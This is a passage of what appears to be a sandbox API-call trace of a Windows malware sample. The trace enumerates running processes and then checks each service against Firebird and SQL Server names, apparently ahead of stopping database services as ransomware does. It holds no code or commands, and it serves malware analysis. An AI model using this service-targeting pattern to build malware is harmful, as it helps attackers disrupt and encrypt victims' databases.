	[0069.289] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.289] lstrlenW (lpString="svchost.exe") returned 11
	[0069.289] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0069.290] lstrlenW (lpString="audiodg.exe") returned 11
	[0069.290] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0069.290] lstrlenW (lpString="sihost.exe") returned 10
	[0069.290] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.291] lstrlenW (lpString="svchost.exe") returned 11
	[0069.291] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.291] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.292] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0069.292] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0069.292] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0069.293] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0069.293] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0069.293] lstrlenW (lpString="explorer.exe") returned 12
	[0069.293] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0069.294] lstrlenW (lpString="Memory Compression") returned 18
	[0069.294] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0069.294] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0069.295] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0069.295] lstrlenW (lpString="SearchUI.exe") returned 12
	[0069.295] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0069.296] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0069.296] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0069.296] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0069.296] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.297] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.297] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0069.297] lstrlenW (lpString="UsoClient.exe") returned 13
	[0069.297] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0069.298] lstrlenW (lpString="taskhostw.exe") returned 13
	[0069.298] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0069.299] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0069.299] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0069.299] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0069.300] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0069.300] lstrlenW (lpString="msoia.exe") returned 9
	[0069.300] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0069.301] lstrlenW (lpString="msoia.exe") returned 9
	[0069.301] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0069.301] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0069.301] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0069.302] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0069.302] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0069.302] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0069.302] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0069.303] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0069.303] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0069.303] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0069.303] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0069.304] lstrlenW (lpString="legends.exe") returned 11
	[0069.304] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0069.305] lstrlenW (lpString="miniature.exe") returned 13
	[0069.305] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0069.305] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0069.305] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0069.306] lstrlenW (lpString="thorough.exe") returned 12
	[0069.306] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0069.306] lstrlenW (lpString="dllhost.exe") returned 11
	[0069.306] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0069.307] lstrlenW (lpString="interactive.exe") returned 15
	[0069.307] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0069.307] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0069.307] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0069.308] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0069.308] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0069.309] lstrlenW (lpString="eastexamined.exe") returned 16
	[0069.309] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0069.309] lstrlenW (lpString="attacks-according.exe") returned 21
	[0069.309] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0069.310] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0069.310] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0069.311] lstrlenW (lpString="values latin.exe") returned 16
	[0069.311] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0069.311] lstrlenW (lpString="eaufeed.exe") returned 11
	[0069.311] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0069.312] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0069.312] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0069.313] lstrlenW (lpString="burning.exe") returned 11
	[0069.313] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0069.830] lstrlenW (lpString="warned-garage.exe") returned 17
	[0069.830] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0069.831] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0069.831] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0069.832] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0069.832] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0069.833] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0069.833] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0069.833] lstrlenW (lpString="proprietary.exe") returned 15
	[0069.833] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.834] lstrlenW (lpString="conhost.exe") returned 11
	[0069.834] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.835] lstrlenW (lpString="conhost.exe") returned 11
	[0069.835] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0069.836] lstrlenW (lpString="payload2.exe") returned 12
	[0069.836] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0069.837] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0069.837] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.837] lstrlenW (lpString="conhost.exe") returned 11
	[0069.837] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.838] lstrlenW (lpString="svchost.exe") returned 11
	[0069.838] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0069.839] lstrlenW (lpString="cmd.exe") returned 7
	[0069.839] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0069.840] lstrlenW (lpString="conhost.exe") returned 11
	[0069.840] Process32NextW (in: hSnapshot=0x364, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0069.840] CloseHandle (hObject=0x364) returned 1
	[0069.840] Sleep (dwMilliseconds=0x1f4) 
	[0070.905] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d9d0
	[0070.908] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0070.909] GetLastError () returned 0xea
	[0070.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x4314a18
	[0070.909] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4314a18, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4314a18, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0070.909] CloseServiceHandle (hSCObject=0x52d9d0) returned 1
	[0070.910] lstrlenW (lpString="Appinfo") returned 7
	[0070.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0070.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0070.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0070.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0070.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0070.910] lstrlenW (lpString="AppXSvc") returned 7
	[0070.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0070.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0070.910] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0070.910] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0070.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0070.910] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0070.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0070.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0070.910] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0070.910] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0070.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0070.910] lstrlenW (lpString="Audiosrv") returned 8
	[0070.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0070.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0070.911] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0070.911] lstrlenW (lpString="BFE") returned 3
	[0070.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0070.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0070.911] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0070.911] lstrlenW (lpString="BITS") returned 4
	[0070.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0070.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0070.911] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0070.911] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0070.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0070.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0070.911] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0070.911] lstrlenW (lpString="CDPSvc") returned 6
	[0070.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0070.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0070.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0070.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0070.911] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0070.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0070.912] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0070.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0070.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0070.912] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0070.912] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
